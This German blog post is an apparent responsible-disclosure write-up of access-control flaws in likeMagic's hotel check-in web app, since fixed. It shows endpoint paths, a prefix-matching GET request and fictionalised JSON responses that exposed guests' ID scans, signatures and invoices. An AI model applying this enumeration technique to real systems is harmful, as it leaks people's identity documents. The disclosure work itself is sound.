&lt;p&gt;Die Software, um diese Daten zu erfassen, schreiben die Hotels in der Regel nicht selbst, sondern das machen Softwaredienstleister (wie in vielen anderen Bereichen auch). Im heutigen Fall die Firma &lt;em&gt;likeMagic AG&lt;/em&gt; aus der Schweiz🍫. Diese bietet eine Plattform, über die Hotelmitarbeitende sämtliche Arbeiten, die in so einem Hotel anfallen, mit einer Web-App verwalten. Und weil es natürlich &lt;del&gt;bequemer&lt;/del&gt; billiger ist, wenn die Gäste sich selbst einchecken und den Zimmerschlüssel aufs Telefon bekommen, gibt es noch eine weitere WebApp für die Gäste.&lt;/p&gt;
&lt;p&gt;Damit diese für jedes Hotel bzw. jede Hotelkette auch in den Markenfarben (und -Domains) des Hotels erstrahlt, ist die Gäste-WebApp unter einer Subdomain der Hotelwebseite erreichbar. Damit ist auch von &lt;em&gt;likeMagic&lt;/em&gt; als Serviceanbieter erstmal nichts zu sehen. Als Beispiel-URL für diesen Blogpost nehmen wir &lt;code&gt;https://my.examplehotel.invalid&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&#34;check-in-check-out&#34;&gt;Check-In? Check-Out!&lt;/h2&gt;
&lt;p&gt;Ein paar Tage vor unserem heiß erwarteten Hotelbesuch ist es dann soweit:
Wir bekommen eine E-Mail mit dem Check-In-Link für unseren Aufenthalt.&lt;/p&gt;
&lt;p&gt;Also los, Check-In-Formular geöffnet und mit Daten befüllt.
Nachdem wir alles eingegeben haben, müssen wir unseren virtuellen Meldeschein &amp;ldquo;unterschreiben&amp;rdquo;.
Das geht entweder per Rumkritzeln auf dem Smartphone oder als Kunstwerk per Maus, aber &lt;em&gt;likeMagic&lt;/em&gt; bietet auch eine Komfort-Funktion an und generiert automatisch eine Unterschrift: einfach den eigenen Namen in traumhaft schöner Schreibschrift.
Und damit sind wir auch schon fertig mit dem Check-In.&lt;/p&gt;
&lt;figure&gt;&lt;img src=&#34;https://zerforschung.org/p/likemagic/check-in-form.png&#34;
         alt=&#34;Teil des Check-In-Formular einer likeMagic-Instanz. Abgefragt werden Geburtsdatum, Nationalität, Passnummer, Unterschrift und eine Zustimmung zu den AGB und der Datenschutzerklärung&#34;/&gt;&lt;figcaption&gt;
            &lt;p&gt;Wir haben uns dann doch fürs rumkritzeln entschieden 🖍️. Und ja: Der Hinweis mit dem Gesetzgeber steht da wirklich so ☝️&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Aber als gute zerforschis haben wir natürlich schon laaaaaange vorher die Entwicklungstools unseres Browsers geöffnet 👩‍🔬. Die protokollieren unter anderem die ganze Zeit mit, welche Daten die Website so an ihre Server sendet.
Zuerst werden die eingegebenen Daten losgeschickt, und dann zum Schluss unsere &amp;ldquo;Unterschrift&amp;rdquo; hochgeladen.
Das ganze quittiert der Server und sagt uns zur hochgeladenen Unterschrift gleich noch, unter welchem Dateinamen er sie abgespeichert hat und wie groß sie ist.&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;createdAt&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2025-09-05T12:34:51.123456789Z&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;updatedAt&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2025-09-05T12:34:51.123456789Z&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;version&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;tenant&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;69&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;zerdreams&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;ZER Hotels für Guten Schlaf und Sichere Daten&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;createdAt&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2020-09-21T01:23:45.123456Z&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;updatedAt&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2020-09-21T01:23:45.123456Z&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;version&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;2342420&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;blobCreatedAt&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2025-09-05T12:34:51.123456789Z&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;fileName&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;ABCDEFGH-1/SIGNATURE_DOCUMENT.png&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;contentType&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;image/png&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;contentLength&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;2342&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;metaData&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ownerId&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;ABCDEFGH-1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;magicFileType&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;SIGNATURE_DOCUMENT&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;originalFilename&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;SIGNATURE_DOCUMENT.png&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ownerId&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;ABCDEFGH-1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;tenantName&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;zerdreams&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Das ist natürlich sehr freundlich vom Server, aber keine Information, die wir eigentlich benötigen. Diese Redseligkeit macht uns schon etwas stutzig – also gucken wir in den Code.&lt;/p&gt;
&lt;h2 id=&#34;was-will-uns-der-server-damit-sagen&#34;&gt;Was will uns der Server damit sagen?&lt;/h2&gt;
&lt;p&gt;Als klassische sogenannte &amp;ldquo;Single-Page-Applikation&amp;rdquo;&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt; wird auch hier wieder schon beim Öffnen der WebApp ganz viel Code für den Browser geladen – unabhängig davon, ob die Funktionen für diesen User/Einsatzzweck relevant sind, oder nicht. Dabei taucht dann auch beim groben Drüberlesen schnell eine Funktion namens &lt;code&gt;downloadFile&lt;/code&gt; auf: Diese nimmt einen Dateinamen und versucht, die Datei vom Server abzurufen.&lt;/p&gt;
&lt;p&gt;Der Endpunkt, um Dateien abzurufen ist &lt;code&gt;https://my.examplehotel.invalid/api/guest-journey-service/{magicId}/files?fileName={name}&lt;/code&gt;. Die &lt;code&gt;magicId&lt;/code&gt; ist dabei eine längere zufällige Zeichenkette, die im Check-In-Link enthalten ist, den wir anfangs per Mail bekommen haben.&lt;/p&gt;
&lt;p&gt;Beim ersten Versuch diese URL direkt aufzurufen, bekommen wir nur eine Fehlermeldung, dass wir nicht angemeldet sind.
Denn dieser Endpunkt braucht als Authentifizierung einen &lt;code&gt;Bearer&lt;/code&gt;-Token von einem eingeloggten Nutzer.
Na gut, dann müssen wir den wohl zuerst besorgen&amp;hellip;&lt;/p&gt;
&lt;p&gt;Wir haben zwar keinen Account bei dem Hotel, klicken aber trotzdem auf den großen &amp;ldquo;Login&amp;rdquo;-Button auf der Hauptseite.&lt;/p&gt;
&lt;figure&gt;&lt;img src=&#34;https://zerforschung.org/p/likemagic/login.png&#34;
         alt=&#34;Login-Formular einer likeMagic-Instanz. Ganz unten ist ein Registrierungslink.&#34;/&gt;
&lt;/figure&gt;

&lt;p&gt;Und siehe da: Auf der Login-Seite gibt es auch gleich einen Registrierungslink und nur wenige Sekunden später halten wir unseren neuen Account (und den dazugehörigen &lt;code&gt;Bearer&lt;/code&gt;-Token) in den Händen und können es nochmal probieren.
Mit dem Account klappt es dann direkt und wir können unsere wunderbar generierte Unterschrift nochmal betrachten.&lt;/p&gt;
&lt;p&gt;Dabei fällt unser Blick genauer auf den Dateinamen: &lt;code&gt;ABCDEFGH-1/SIGNATURE_DOCUMENT.png&lt;/code&gt;.
Der besteht aus drei Teilen:
&lt;code&gt;ABCDEFGH-1&lt;/code&gt; ist unsere Buchungsnummer, &lt;code&gt;SIGNATURE_DOCUMENT&lt;/code&gt; die Art der Datei und &lt;code&gt;png&lt;/code&gt; natürlich die passende Dateiendung für das Unterschriften-Bild, das wir hochgeladen haben.&lt;/p&gt;
&lt;h2 id=&#34;die-einzige-form-von-weltoffen-die-nicht-okay-ist&#34;&gt;Die einzige Form von weltoffen, die nicht okay ist&lt;/h2&gt;
&lt;p&gt;Doch als wir eine mitreisende Person nach ihrem Buchungscode fragen (sagen wir mal &lt;code&gt;STUVWXYZ-1&lt;/code&gt;) und diesen ausprobieren, sind wir schockiert:
Auch &lt;code&gt;STUVWXYZ-1/SIGNATURE_DOCUMENT.png&lt;/code&gt; können wir abrufen und sehen &amp;hellip; die automatisch generierte Unterschrift mit dem Namen unserer mitreisenden Person.
Selbst den hochgeladenen Ausweis der Person können wir abrufen, direkt unter &lt;code&gt;STUVWXYZ-1/IDENTIFICATION_DOCUMENT.jpg&lt;/code&gt; – dass die Datei so heißen müsste, wissen wir aus dem Code.&lt;/p&gt;
&lt;p&gt;Uff. Puh. Belastend.
Wir haben gerade erst eingecheckt und schon finden wir so etwas?
Datei für Datei die Buchungsanhänge runterladen zu können, ist schon schlimm – und eigentlich könnten wir hier auch schon aufhören.
Die Erfahrung zeigt aber, dass Sicherheitslücken Rudeltiere sind und meist zusammen auftreten.
Dann schauen wir mal lieber genauer hin.&lt;/p&gt;
&lt;h2 id=&#34;zimmerservice-einmal-alles-bitte&#34;&gt;Zimmerservice? Einmal alles bitte.&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;likeMagic&lt;/em&gt; stellt praktischerweise &lt;a href=&#34;https://monitoring.likemagic.tech/api/swagger/swagger-ui/index.html?urls.primaryName=guest-journey-service&#34;&gt;eine gute API-Doku&lt;/a&gt; bereit, sodass wir gleich nachlesen, welche weiteren Schnittstellen wir uns anschauen könnten. Das ist gute Praxis, allerdings müssen die dort beschriebenen Schnittstellen (genauso wie grundsätzlich &lt;strong&gt;alle&lt;/strong&gt; Schnittstellen) ausreichend sicher sein.&lt;/p&gt;
&lt;p&gt;So erfahren wir, dass &lt;code&gt;https://my.examplehotel.invalid/api/guest-journey-service/files/{BOOKING_CODE}/list&lt;/code&gt; eine Liste aller Dateien zurück gibt, die zu einer Buchungsnummer gehören.
Das ist die Unterschrift, ggf. das Ausweisfoto sowie am Ende die Rechnung 💸😭.&lt;/p&gt;
&lt;h2 id=&#34;-a-b-c-d-e-f-g-&#34;&gt;🎶 A, B, C, D, E, F, G&amp;hellip; 🎶&lt;/h2&gt;
&lt;p&gt;Auch für diesen Endpunkt müssen wir zwar angemeldet sein, aber auch hier gilt: Welcher Nutzeraccount die Anfrage stellt, ist offensichtlich völlig egal.
Unser erster Gedanke: Naja, dann muss man ja immerhin die Buchungsnummer (8 Großbuchstaben + eine Zahl) kennen, die kann man wenigstens nicht sofort erraten.
Die Realität holt uns leider sofort ein: Die Software wirft einem anscheinend &lt;em&gt;sämtliche&lt;/em&gt; Dateien zurück, bei denen die Buchungsnummer mit den angegebenen Zeichen anfängt.&lt;/p&gt;
&lt;p&gt;Gäben wir also beispielsweise die Buchstaben &lt;code&gt;ZER&lt;/code&gt; als Buchungscode an, bekämen wir wohl &lt;em&gt;alle&lt;/em&gt; Dateien zu &lt;em&gt;allen&lt;/em&gt; Buchungen, die mit &lt;code&gt;ZER&lt;/code&gt; anfangen – inklusive ihrem Inhalt. Oh no!&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;GET https://my.examplehotel.invalid/api/guest-journey-service/files/ZER/list
&lt;/code&gt;&lt;/pre&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;fileName&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;ZEROHNOO-1/ZEROHNOO-1-1.pdf&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;contentType&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;application/pdf&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;contentLength&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;12345&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;blobCreatedAt&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2025-01-01T01:01:01.123Z&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;metaData&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ownerId&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;ZEROHNOO-1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;folioId&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;ZEROHNOO-1-1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;magicFileType&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;INVOICE&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ownerId&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;ZEROHNOO-1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;content&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;[...]&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;signedUrl&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;// ... (weitere 23MB JSON-Daten 🤯)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Weil die Buchungsnummern immer mit einem Großbuchstaben beginnen und schon ein Buchstabe reicht, um die Suche zu starten, könnte man mit nur ganzen &lt;em&gt;*checks notes*&lt;/em&gt; 26 Anfragen die Dateien aller Buchungen abrufen&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;. Mist 🍞.&lt;/p&gt;
&lt;h2 id=&#34;wir-würden-dann-gerne-zählen-bitte&#34;&gt;Wir würden dann gerne Zählen, bitte.&lt;/h2&gt;
&lt;p&gt;Wir schätzen, dass alleine bei der Hotelkette, bei der wir selbst waren – McDreams – mehr als 500.000 Dateien von rund 200.000 Buchungen abrufbar gewesen wären – inklusive 90.000 Ausweisdokumenten.&lt;/p&gt;
&lt;p&gt;Und das war nur eine Hotelkette.
&lt;a href=&#34;https://web.archive.org/web/20250923233235/https://crt.sh/?id=20605953872&#34;&gt;Eine schnelle Suche&lt;/a&gt; liefert eine Liste von fast 50 Instanzen der &lt;em&gt;likeMagic&lt;/em&gt;-WebApp, die mutmaßlich ebenso betroffen waren.&lt;/p&gt;
&lt;h2 id=&#34;vor-dem-schlafen-nach-dem-essen-lückenmeldung-nicht-vergessen&#34;&gt;Vor dem Schlafen, nach dem Essen, Lückenmeldung nicht vergessen&lt;/h2&gt;
&lt;p&gt;Nun haben wir Lücken gefunden, die sogar gleich eine ganze Reihe von Hotels betreffen.
Damit geht die eigentliche Arbeit für uns erst los: alles sauber aufschreiben und dokumentieren.
Diesen Report über die gefundenen Lücken schicken wir dann an den Hersteller und das CERTBund beim BSI.&lt;/p&gt;
&lt;p&gt;Der Hersteller antwortet (trotz Meldung an einem Sonntagabend!) prompt: bereits nach 2 Stunden bekommen wir eine Antwort und die Bestätigung, dass die Lücken geschlossen seien – was bei einem kurzen Test auch zu stimmen scheint.&lt;/p&gt;
&lt;p&gt;Auch der Hinweis, dass wir keinen Sicherheitskontakt finden konnten, wurde dankend aufgenommen.
Wir empfehlen grundsätzlich immer allen, einen Sicherheitskontakt mittels des &lt;a href=&#34;https://securitytxt.org&#34;&gt;security.txt&lt;/a&gt;-Standards bereitzustellen.
Ein paar Tage später tauchte zwar keine security.txt, aber immerhin eine &lt;a href=&#34;https://resources.likemagic.tech/en/knowledge-base/vulnerability-disclosure-policy&#34;&gt;frische Vulnerability Disclosure Policy in ihrem Helpcenter&lt;/a&gt; auf.
Das ist eine gute Reaktion, die wir an dieser Stelle auch mal explizit loben wollen &amp;ndash; auch wenn es nie zu einer solchen Lücke hätte kommen dürfen.&lt;/p&gt;
&lt;p&gt;Ganz positiv fällt unser Fazit zum Umgang mit der Lücke jedoch nicht aus:
Bis heute wissen wir von keiner Information an die betroffenen Hotelgäste.
Diese sollten darüber informiert werden, dass ihre Daten gefährdet waren, &lt;a href=&#34;https://eur-lex.europa.eu/legal-content/DE/TXT/HTML/?uri=CELEX:02016R0679-20160504#id-71d4222c-60cd-459f-a601-5811eb6db67b&#34;&gt;so wie es die DSGVO auch vorsieht&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&#34;warum-liegen-hier-überhaupt-ausweise-rum&#34;&gt;Warum liegen hier überhaupt Ausweise rum?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&#34;https://www.tagesschau.de/wirtschaft/verbraucher/hotel-check-in-meldedaten-reisen-100.html&#34;&gt;Zum 01.01.2025 wurde das Bundesmeldegesetz angepasst&lt;/a&gt;, die &amp;ldquo;besondere Meldepflicht in Beherbergungsstätten&amp;rdquo; aus &lt;a href=&#34;https://www.gesetze-im-internet.de/bmg/__29.html&#34;&gt;§29&lt;/a&gt; und &lt;a href=&#34;https://www.gesetze-im-internet.de/bmg/__30.html&#34;&gt;§30 BMG&lt;/a&gt; wurde für deutsche Staatsangehörige aufgehoben – aber halt auch nur für diese.&lt;/p&gt;
&lt;p&gt;Menschen, die nicht aus &amp;lsquo;schland 🇧🇪 stammen, müssen weiterhin ihre Daten und Wohnanschrift abgeben und ihren Ausweis zum Vergleich bereitstellen. Üblicherweise reicht da der Vergleich durch einen kurzen Blick auf den Perso an der Rezeption. Sobald aber der Check-In online passiert, kommen Hotels und Softwareanbieter auf interessante Ideen, wie man das denn über das Internet bewerkstelligt.&lt;/p&gt;
&lt;p&gt;Was jetzt Deutsche weniger gefährlich macht als alle anderen Menschen können wir uns (außer mit einer gehörigen Portion &lt;del&gt;Rass&lt;/del&gt;Patriotismus) nicht erklären. Deshalb gilt hier wie immer: Daten, die nicht zwingend benötigt werden, sollte man gar nicht erst erfassen. Und ist der Grund für bereits erfasste Daten weggefallen, sollten die auch schnellstmöglichst gelöscht werden. Besonders diese personenbezogenen Daten sind nunmal kein Öl, sondern toxischer Abfall. Und Daten die man nicht (mehr) hat, können auch nicht unbeabsichtigt wegkommen :)&lt;/p&gt;
&lt;p&gt;Die allerbeste Lösung für das Problem ist aber eine Anpassung des Bundesmeldegesetzes: einfach keinerlei Datenerfassung mehr. Denn wer sie nicht von Menschen mit einer bestimmten Staatsbürgerschaft braucht, braucht sie von allen anderen auch nicht. Das ist auch &lt;a href=&#34;https://www.tagesschau.de/wirtschaft/verbraucher/hotel-check-in-meldedaten-reisen-100.html&#34;&gt;die Position des Hotelverband Deutschland&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&#34;schluss-schlafen&#34;&gt;Schluss. Schlafen.&lt;/h2&gt;
&lt;p&gt;Liebe Hotels, ab jetzt bitte keine Lücken mehr, damit wir endlich wieder ruhig schlafen können.
Wir machen das alles ehrenamtlich in unserer Freizeit. Guter Schlaf ist wichtig. Auch für uns&amp;hellip; 😴&lt;sup id=&#34;fnref:4&#34;&gt;&lt;a href=&#34;#fn:4&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h2 id=&#34;timeline&#34;&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;2025-09-05: Beginn der Analyse, Erste Lücke entdeckt&lt;/li&gt;
&lt;li&gt;2025-09-06: Zweite Lücke entdeckt; Bestätigt, dass auch andere Hotelketten betroffen sind&lt;/li&gt;
&lt;li&gt;2025-09-07 20:23 Uhr: Meldung der Lücke an das Unternehmen und das CERTBund&lt;/li&gt;
&lt;li&gt;2025-09-07 22:34 Uhr: Antwort des Unternehmens, Lücke geschlossen&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;heading&#34;&gt;🤝&lt;/h2&gt;
&lt;p&gt;Unsere Recherchen haben wir mit Jacob von der ZEIT geteilt, den Artikel findet ihr &lt;a href=&#34;https://www.zeit.de/digital/datenschutz/2025-09/cybersicherheit-gastgewerbe-hotel-datenschutz-likemagic&#34;&gt;hier&lt;/a&gt;.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;p&gt;An solch einem Artikel sitzen wir als Kollektiv deutlich länger als eine Woche, vom Finden der Lücken, über das Schreiben der Reports, den Umgang mit den betroffenen Unternehmen bis zur Veröffentlichung dieses Posts.&lt;/p&gt;
&lt;p&gt;Falls euch dieser Artikel gefallen hat, &lt;a href=&#34;https://zerforschung.org/unterstuetzen&#34;&gt;könnt ihr uns gerne unterstützen&lt;/a&gt;. Und wer uns bereits unterstützt - nochmals vielen Dank! (Kleiner Hinweis: Wir mussten schon wieder unsere IBAN austauschen)&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;Die Inhalte des folgenden JSON-Snippets haben wir fiktionalisiert, die Struktur ist beibehalten.&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
